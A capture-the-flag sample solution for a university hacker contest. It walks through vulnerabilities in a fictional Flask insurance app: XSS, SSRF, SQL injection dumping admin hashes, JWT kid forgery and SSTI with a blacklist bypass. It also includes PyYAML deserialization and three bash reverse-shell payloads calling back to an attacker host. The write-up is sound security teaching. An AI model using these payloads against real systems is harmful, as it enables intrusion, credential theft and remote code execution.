Write-Up Registration Challenge Hacker Contest Summer 23

17. April 2023

In the summer semester of 2023, our "Hacker Contest" will be held again at Darmstadt University (TU) and Darmstadt University of Applied Sciences (h_da). In the popular course, students get real insights into IT security and gain hands-on experience with tools and methods to search for vulnerabilities in networks and systems within our PentestLab.

As every semester, prospective participants took on the Hacker Contest Challenge to qualify for participation.

If you are curious to know what a Hacker Contest Challenge looks like, or which flags you might have missed this time: This is our sample solution for the summer semester Hacker Contest Challenge.

Table of Contents

  1. Scenario
  2. Challenge
  3. Disclaimer
  4. Vulnerabilities
  5. Misconfigurations

Scenario

For this challenge, you assumed the role of a pentester tasked with testing an early prototype of Munich's newest insurance startup, the InsuTec AG. Since insurance companies handle large amounts of money and sensitive customer data, security in their applications is of utmost importance.

Challenge

As external security researchers, it was your task to find and report different types of security vulnerabilities in the given system. InsuTec AG's developers expected vulnerability descriptions that are easy to understand and, most importantly, easy to reproduce. The program was looking for vulnerabilities that directly affect the protection goals of information security and whose exploitation could cause direct damage to users or operators.

Disclaimer

Considering that InsuTec AG developed a complex application, the presented vulnerabilities in this document are to be understood as a mere example of what a security researcher could find during a pentest.
As always in creative tasks such as hacking, it is possible to find security flaws beyond what is mentioned in this write-up and also to use different methods and techniques to discover and/or exploit the vulnerabilities demonstrated below.

Vulnerabilities

Reflected XSS in Custom Errorhandler

When a user requests a non-existent URL such as http://locahost:8080/nonexistent a custom handler displays an error message which reflects the path without proper sanitization, leaving HTML characters such as "<", "/", ">" and " ' " in the user-supplied input.

def not_found(e):
    template_404 = """
    <h1 class='title'>Not found!</h1>
    <h2 class='subtitle'>You were looking for: %s </h2>
    """ % sanitize_input(unquote(request.url))
    return render_template_string(template_404), 404

An attacker could therefore create a link containing JavaScript. If, for example, a user were to follow a link similar to http://localhost:8080/<script>alert('usdAG')</script> XSS occurs.

Reflected XSS in Usernames

The HTML Signup Form does not validate the email input field, which makes it possible to register an "email" containing JavaScript code, i.e. tooltip onmouseover=alert('usdAG'). After signup, the user is redirected to the /login endpoint where the chosen email is automatically filled in without proper sanitization, which causes the above payload to be executed.

Open Redirect in /login

As the 'next' parameter in the login form does not check to only accept local URIs, an attacker can create a link similar to http://localhost:8080/login?next=http://redirect.here which when followed by a user will redirect them to http://redirect.here after login.

Denial of Service in the Autoreviewer

In /make_claim users can provide details about their insurance claim, such as type and the estimated sum of damages. A client-side filter is present to prevent a user from entering any non-natural number characters in the "Damage Sum" field. However, an attacker can bypass said filter by sending a crafted post-request to the autoreviewer. Due to a lack of server-side filtering and error handling, this service will crash and not recover once encountering a non-integer damage sum.

SSRF via /checkapi

Sending a GET request to /checkapi returns a redirection that sets a 'health' parameter. By default, this parameter contains the URL http://localhost:8080/api/query/debug. The server will then send a GET request to this URL and return the HTML response.

@main.route('/checkapi', methods = ['GET'])
def check():
    checkpath = request.args.get('health')
    if checkpath is None:
        return redirect(url_for('main.check', health='http://localhost:8080/api/query/debug'))
    resp = requests.get(url=unquote(checkpath))
    try:
        page=resp.content.decode('utf-8')
        return render_template('healthcheck.html', data=page)
    except Exception as e:
        flash(f"There has been an error in rendering the internal page, maybe the url you provided was faulty? The error was {e}")
        return redirect(url_for('main.index'), 302)

The provided URL however is directly embedded into the server's GET request, thus an attacker can change the health parameter to cause an arbitrary URL which will then be requested by the server.
Within the system exists an admin panel, which is protected by a whitelist, only allowing requests from localhost or the server hosting the web application.

allowed = ['172.20.0.3', '172.20.0.4']

def whitelist(func):
    @wraps(func)
    def decorator(*args, **kwargs):
        if request.remote_addr not in allowed:
            abort(403)
        print(request.remote_addr)
        return func(*args,**kwargs)
    return decorator

An attacker can use the above vulnerability to cause the server to request http://adminpanel:10001/. As this request comes from the whitelisted server, the admin panel will respond to the request, returning the current application config.

SQL Injection in /claims

Checking the status of a claim by providing a claim ID will query the database using the following statement:

prepared_statement = f'SELECT description,damage_sum,status FROM Claims WHERE user_id = "{user}" AND public_id = "{claimid}"

As this query - despite its name - is not a prepared statement and the user-provided inputs are not properly escaped, it is possible to inject SQL via a payload similar to validClaimID" AND 1=2 UNION SELECT email, password, admin FROM User WHERE admin = 1;--.
This exemplary payload will then return the email and hashed password of any administrator.

Authentication Bypass via JWT Kid Header

After logging in successfully the user is granted a JSON Web Token (JWT) for authentication and authorization. The JWT contains the following header

{
  "alg": "HS256",
  "kid": "L2FwcC9zZWNyZXRzL3dlYmFwcC9qd3Qua2V5",
  "typ": "JWT"
}

and payload

{
  "public_id": "somepublicid",
  "exp": "someexpirydate",
  "priv": false
}

For administrative users, "priv" will be set to true, else it is set to false. The "kid" is encoded in base64, decoding it will yield "/app/secrets/webapp/jwt.key". In this case, the server signs the token and verifies its signature - and thus validity - by using the key at the location provided in the "kid"-header.
An attacker is able to change the value of the "kid" parameter by inserting a base64 encoded file path.
Therefore, in order to create a valid token, this path needs to point to a file with a static value, such as /proc/sys/kernel/randomize_va_space, which will always return either 0 or 2.
The attacker can now change the "priv" parameter to true and sign the newly created JWT with the corresponding value, 2 in our example, granting them a valid token with administrative privileges.

SSTI in Custom Errorhandler

Flask uses Jinja2 for creating dynamic HTML templates. To achieve this, code, variables etc. have to be placed within {{ }} brackets to then be executed or evaluated.
The custom error handler that allows for the previously described XSS to occur also allows for embedding such brackets and executing commands like {{config}} - or it would, hadn't the developers considered this possibility and added the following blacklist:

blacklist = 
["request","config","url_for","self", "__", ".", "[]","[","]","{{", "}}","\x5f\x5f"]

But before we get into how to get around this blacklist, let's first have a look at how such template injections are usually carried out. The above example ( {{config}} ) dumps configuration data of the flask app, which by itself might already be useful, as this can contain secrets to sign CSRF Tokens, JWTs or similar.
However, we can go even further: By navigating the Python class hierarchy, we can get as far as achieving full-on RCE in the target. For this we might want to run system commands via Python's "os" library, but how do we get to it? An attacker can start with {{ ''.__class\_\_}}, which will return <class 'str'>. From here we can access <class 'object'> by inputting {{ ''.__class\_\_.__base\_\_ }} which, by also attaching __subclasses\_\_()[140], let's us access <class 'warnings.catch_warnings'>. With some further research and trial-and-error, we eventually enter {{''.__class\_\_.__base\_\_.__subclasses\_\_()[140].__init\_\_.__globals\_\_.get('sys').modules.get('os')}} which gets us <module 'os' from '/usr/local/lib/python3.9/os.py'>. From here on out we can call arbitrary system commands within the "os" package.
If only it were so easy. In our case, an attacker additionally has to figure out how to circumvent the aforementioned blacklist that prevents us from using "{{ }}", "__" and "[ ]" - even "." is blocked.
So how could an attacker get around these restrictions? First of all, Jinja2 provides another way to wrap code, namely through the use of {% %}. This syntax is used in loops and if statements, so a possible approach will be wrapping our payload in the condition of an if statement since the condition will most likely be evaluated by the server without any prior checks. As to the other backlisted characters, luckily Jinja2 provides us with filters such as attr(), which in conjunction with | replaces the ".", join() for concatenating strings, while __getitem\_\_(140) allows us to avoid using python's usual list syntax (somelist[someindex]). All in all the following is a valid payload for spawning a reverse shell:

{% if parse|attr(("\_"*2, "class", "\_"*2)|join)
|attr(("\_"*2, "base", "\_"*2)|join)
|attr(("\_"*2,"subclasses","\_"*2)|join)()
|attr(("\_"*2,"getitem","\_"*2)|join)(140)
|attr(("\_"*2,"init","\_"*2)|join)
|attr(("\_"*2,"globals","\_"*2)|join)
|attr(("\_"*2,"getitem","\_"*2)|join)('sys')
|attr("modules")
|attr(("\_"*2,"getitem","\_"*2)|join)('os')
|attr("popen")('bash -c "bash -i >& /dev/tcp/2886795265/1234 0>&1"')
|attr("read")() == exploit%}a{% endif %}

Since "." is blocked by the blacklist, the IP used for the reverse shell (172.17.0.1, the default docker host IP) is written in decimal or dword notation.

Arbitrary File Upload in Admin Panel Leading To RCE

The admin panel service contains a feature enabling a local administrator to upload Yaml configuration files to the service. However, no filtering to prevent upload vulnerabilities is present. Therefore an attacker can, through using the SSRF described below or by spoofing their IP address, upload arbitrary files to the server, allowing them to gain RCE in the admin panel by uploading an HTML template containing a payload like

{{ "foo".__class__.__base__.__subclasses__()[%d]
(["bash", "-c", "bash -i >& /dev/tcp/172.20.0.2/1234 0>&1"]) }}
 % popenIndex

SSRF and Insecure Deserialization in Admin Panel

This vulnerability hinges mainly on the SSRF described previously, but with a few additional twists involved.
Exploiting the SSRF further one might come across the /config endpoint running on http://localhost:10001 where .yaml configuration files can be uploaded. As this endpoint is also whitelist-protected an attacker has to make use of said SSRF to access the page.
To upload a new config file, the easiest way is to use the fittingly named /debug/proxy endpoint (http://localhost:8080/debug/proxy).

@api.route('/debug/proxy', methods = ['POST'])
def proxy():
    url = request.args.get('url')
    file = request.files['file']
    req_data = request.get_data()
    resp = requests.post(url=unquote(url), files={'file':file}, data=req_data)
    return make_response(resp.content.decode('utf-8'))

This function simply takes an incoming POST request and sends an equivalent POST request to a user-supplied URL. In order to now upload a new .yaml config, the attack has to change the previously obtained HTML as follows:

<div>
    <!DOCTYPE html>
<html>
  <head>
    <title>Config Upload</title>
  </head>
  <body>
    <h1>Upload a new YAML config</h1>
    <form action="/config to http://localhost:8080/debug/proxy?url=http://adminpanel:10001/config" method="POST" enctype="multipart/form-data">
      <input type="file" name="file">
      <input type="hidden" name="csrf_token" value="IjQxMzM3YjY5YWQ5MzQ1YzE0ZGI1MjJmN2IwMjg1ZDYyMDk3NjAyZTci.ZBge_w.0cpTAe2xQeMBenX-4cn6XpSRrsU">
      <!-- We should seriously consider adding CSRF tokens for this site. //Dev -->
      <br>
      <button type="submit">Upload</button>
    </form>
  </body>
</html>
    <input type="hidden" name="csrf_token" value="IjQxMzM3YjY5YWQ5MzQ1YzE0ZGI1MjJmN2IwMjg1ZDYyMDk3NjAyZTci.ZBge_w.0cpTAe2xQeMBenX-4cn6XpSRrsU">
</div>
  • First enter a valid CSRF Token in the corresponding field within the HTML Form
  • Then change the endpoint to which the POST request is sent from /config to http://localhost:8080/debug/proxy?url=http://adminpanel:10001/config
  • Lastly, upload a .yaml file containing a chosen payload through the GUI and submit the form

The submitted config file will then be loaded by Pyyaml in the backend. Herein lies the insecure deserialization vulnerability. By providing a config with the following content !!python/object/new:os.system ['bash -c "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1"']
the attacker is able to create a reverse shell and thereby gain full access to the underlying container.

Misconfigurations

No ACLs and Default Access

There are no ACLs specified within the system and ALLOW_EVERYONE_IF_NO_ACL_FOUND is set to 'true'. This allows every Kafka consumer or producer full access to every topic, regardless of whether or not this access is required for operation.

Unencrypted Communication

Communication between the /review endpoint and the Kafka Brokers is carried out in plaintext, without any encryption.

Insecure Protocols

Both Brokers support deprecated protocols, namely TLSv1 and TLS v1.1.

Client Authentication Requested

Client Authentication is set to 'requested' as opposed to 'required'. This can lead to an authentication bypass should the client be able to identify itself, as the brokers will fall back to unauthenticated communication.

Also interesting:

Security Advisories on hugocms and Gitea

The pentest professionals at usd HeroLab examined hugocms and Gitea during their pentests. Thereby, several vulnerabilities were identified. The vulnerabilities were reported to...

read more

Security Advisory on AXIS Webcam

The pentest professionals at usd HeroLab examined the AXIS Webcam (P1364) during their pentests. Our professionals discovered a vulnerability (cross-site request forgery) in the...

read more